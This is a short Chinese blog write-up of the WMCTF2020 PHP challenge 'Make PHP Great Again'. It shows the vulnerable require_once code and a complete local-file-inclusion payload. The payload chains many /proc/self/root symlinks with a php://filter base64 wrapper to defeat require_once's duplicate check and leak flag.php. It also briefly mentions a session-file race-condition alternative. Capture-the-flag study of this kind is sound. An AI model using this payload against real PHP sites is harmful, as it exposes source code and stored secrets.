[WMCTF2020]Make PHP Great Again

最新推荐文章于 2024-09-22 19:58:18 发布

Je3Z

最新推荐文章于 2024-09-22 19:58:18 发布

阅读量227

点赞数

分类专栏： ctf web

本文链接：https://blog.csdn.net/jvkyvly/article/details/119845467

版权

ctf 同时被 2 个专栏收录

31 篇文章 1 订阅

订阅专栏

web

26 篇文章 0 订阅

订阅专栏

预期

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

在php中，require_once在调用时php会检查该文件是否已经被包含过，如果是则不会再次包含，也不会包含当前文件（就是这题index.php不会包含index.php和flag.php）

PHP最新版的小Trick， require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
参考
/proc/self/root/是指向/的符号链接
payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

非预期 session文件包含，条件竞争